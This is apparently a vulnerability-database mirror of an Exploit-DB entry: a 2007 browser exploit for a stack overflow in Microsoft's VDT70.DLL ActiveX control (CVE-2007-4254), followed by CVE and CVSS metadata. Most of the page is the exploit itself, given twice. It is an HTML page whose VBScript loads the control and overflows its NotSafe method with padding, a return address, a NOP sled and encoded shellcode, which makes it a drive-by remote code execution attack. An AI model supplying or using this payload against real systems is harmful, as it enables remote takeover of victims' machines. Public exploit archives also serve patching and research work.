Search...

Microsoft Visual 6 VDT70.DLL NotSafe Stack Overflow Exploit

2007-08-06T00:00:00

ID EDB-ID:4259
Type exploitdb
Reporter DeltahackingTEAM
Modified 2007-08-06T00:00:00

Description

Microsoft Visual 6 (VDT70.DLL NotSafe) Stack Overflow Exploit. CVE-2007-4254. Remote exploit for windows platform

                                        
                                            &lt;!--============================================================================
( Microsoft Visual 6 ) VDT70.DLL Stack Overflow Exploit
DeltahackingSecurityTEAM
Bug discovered by D_7J
Affected Software: VDT70.DLL (Microsoft Visual Database Tools Database Designer V7.0) ,
Company Dll : Microsoft, Inc.
www.Deltahacking.net
www.Deltasecurity.ir
Tested on Windows XP Professional SP2 full patched, with Internet Explorer 6
This exploit was written for working on Windows XP Professional SP2
==============================================================================--&gt;
&lt;html&gt;
 &lt;object classid='clsid:03cb9467-fd9d-42a8-82f9-8615b4223e6e' id='test'&gt;&lt;/object&gt;
  &lt;script language = 'vbscript'&gt;
   jojo      = String(380,"A")

   get_EIP   = unescape("%EB%AA%D7%77")

   GM     = String(92,"A")

   nop       = unescape("%90%90%90%90%90%90%90%90%90%90")

   shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _
               unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _
               unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _
               unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _
               unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%54") & _
               unescape("%42%30%42%50%42%50%4b%58%45%54%4e%53%4b%58%4e%37") & _
               unescape("%45%50%4a%47%41%30%4f%4e%4b%38%4f%44%4a%51%4b%48") & _
               unescape("%4f%55%42%42%41%30%4b%4e%49%44%4b%48%46%43%4b%38") & _
               unescape("%41%30%50%4e%41%53%42%4c%49%49%4e%4a%46%58%42%4c") & _
               unescape("%46%57%47%50%41%4c%4c%4c%4d%50%41%30%44%4c%4b%4e") & _
               unescape("%46%4f%4b%53%46%35%46%32%46%30%45%37%45%4e%4b%48") & _
               unescape("%4f%35%46%32%41%50%4b%4e%48%56%4b%38%4e%50%4b%54") & _
               unescape("%4b%48%4f%55%4e%31%41%30%4b%4e%4b%38%4e%41%4b%38") & _
               unescape("%41%30%4b%4e%49%58%4e%35%46%42%46%50%43%4c%41%43") & _
               unescape("%42%4c%46%36%4b%48%42%34%42%33%45%38%42%4c%4a%37") & _
               unescape("%4e%30%4b%48%42%34%4e%50%4b%48%42%57%4e%31%4d%4a") & _
               unescape("%4b%38%4a%46%4a%50%4b%4e%49%50%4b%48%42%38%42%4b") & _
               unescape("%42%30%42%50%42%30%4b%48%4a%36%4e%53%4f%35%41%33") & _
               unescape("%48%4f%42%46%48%35%49%58%4a%4f%43%48%42%4c%4b%57") & _
               unescape("%42%55%4a%46%42%4f%4c%48%46%50%4f%35%4a%46%4a%49") & _
               unescape("%50%4f%4c%38%50%30%47%55%4f%4f%47%4e%43%56%41%36") & _
               unescape("%4e%46%43%46%50%52%45%36%4a%37%45%36%42%30%5a")

   egg       = jojo + get_EIP + GM + get_EIP + nop + shellcode + nop

   test.NotSafe egg

 &lt;/script&gt;
&lt;/html&gt;

# milw0rm.com [2007-08-06]

JSON Vulners Source

Initial Source

{"published": "2007-08-06T00:00:00", "id": "EDB-ID:4259", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "history": [], "enchantments": {"vulnersScore": 7.5}, "hash": "572d3f5271a7528fb259621d857b4e84dbf1150b63d0bee6227644b44c23db00", "description": "Microsoft Visual 6 (VDT70.DLL NotSafe) Stack Overflow Exploit. CVE-2007-4254. Remote exploit for windows platform", "type": "exploitdb", "href": "https://www.exploit-db.com/exploits/4259/", "lastseen": "2016-01-31T20:30:03", "edition": 1, "title": "Microsoft Visual 6 VDT70.DLL NotSafe Stack Overflow Exploit", "osvdbidlist": ["41080"], "modified": "2007-08-06T00:00:00", "bulletinFamily": "exploit", "cvelist": ["CVE-2007-4254"], "sourceHref": "https://www.exploit-db.com/download/4259/", "references": [], "reporter": "DeltahackingTEAM", "sourceData": "\n<html>\n <object classid='clsid:03cb9467-fd9d-42a8-82f9-8615b4223e6e' id='test'></object>\n <script language = 'vbscript'>\n jojo = String(380,\"A\")\n\n get_EIP = unescape(\"%EB%AA%D7%77\")\n\n GM = String(92,\"A\")\n\n nop = unescape(\"%90%90%90%90%90%90%90%90%90%90\")\n\n shellcode = unescape(\"%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49\") & _\n unescape(\"%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36\") & _\n unescape(\"%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34\") & _\n unescape(\"%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41\") & _\n unescape(\"%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%54\") & _\n unescape(\"%42%30%42%50%42%50%4b%58%45%54%4e%53%4b%58%4e%37\") & _\n unescape(\"%45%50%4a%47%41%30%4f%4e%4b%38%4f%44%4a%51%4b%48\") & _\n unescape(\"%4f%55%42%42%41%30%4b%4e%49%44%4b%48%46%43%4b%38\") & _\n unescape(\"%41%30%50%4e%41%53%42%4c%49%49%4e%4a%46%58%42%4c\") & _\n unescape(\"%46%57%47%50%41%4c%4c%4c%4d%50%41%30%44%4c%4b%4e\") & _\n unescape(\"%46%4f%4b%53%46%35%46%32%46%30%45%37%45%4e%4b%48\") & _\n unescape(\"%4f%35%46%32%41%50%4b%4e%48%56%4b%38%4e%50%4b%54\") & _\n unescape(\"%4b%48%4f%55%4e%31%41%30%4b%4e%4b%38%4e%41%4b%38\") & _\n unescape(\"%41%30%4b%4e%49%58%4e%35%46%42%46%50%43%4c%41%43\") & _\n unescape(\"%42%4c%46%36%4b%48%42%34%42%33%45%38%42%4c%4a%37\") & _\n unescape(\"%4e%30%4b%48%42%34%4e%50%4b%48%42%57%4e%31%4d%4a\") & _\n unescape(\"%4b%38%4a%46%4a%50%4b%4e%49%50%4b%48%42%38%42%4b\") & _\n unescape(\"%42%30%42%50%42%30%4b%48%4a%36%4e%53%4f%35%41%33\") & _\n unescape(\"%48%4f%42%46%48%35%49%58%4a%4f%43%48%42%4c%4b%57\") & _\n unescape(\"%42%55%4a%46%42%4f%4c%48%46%50%4f%35%4a%46%4a%49\") & _\n unescape(\"%50%4f%4c%38%50%30%47%55%4f%4f%47%4e%43%56%41%36\") & _\n unescape(\"%4e%46%43%46%50%52%45%36%4a%37%45%36%42%30%5a\")\n\n egg = jojo + get_EIP + GM + get_EIP + nop + shellcode + nop\n\n test.NotSafe egg\n\n </script>\n</html>\n\n# milw0rm.com [2007-08-06]\n", "objectVersion": "1.0"}

{"result": {"cve": [{"id": "CVE-2007-4254", "type": "cve", "title": "CVE-2007-4254", "description": "Stack-based buffer overflow in a certain ActiveX control in VDT70.DLL in Microsoft Visual Database Tools Database Designer 7.0 for Microsoft Visual Studio 6 allows remote attackers to execute arbitrary code via a long argument to the NotSafe method. NOTE: this may overlap CVE-2007-2885 or CVE-2005-2127.", "published": "2007-08-08T19:17:00", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-4254", "cvelist": ["CVE-2007-4254"], "lastseen": "2017-09-29T14:25:28"}]}}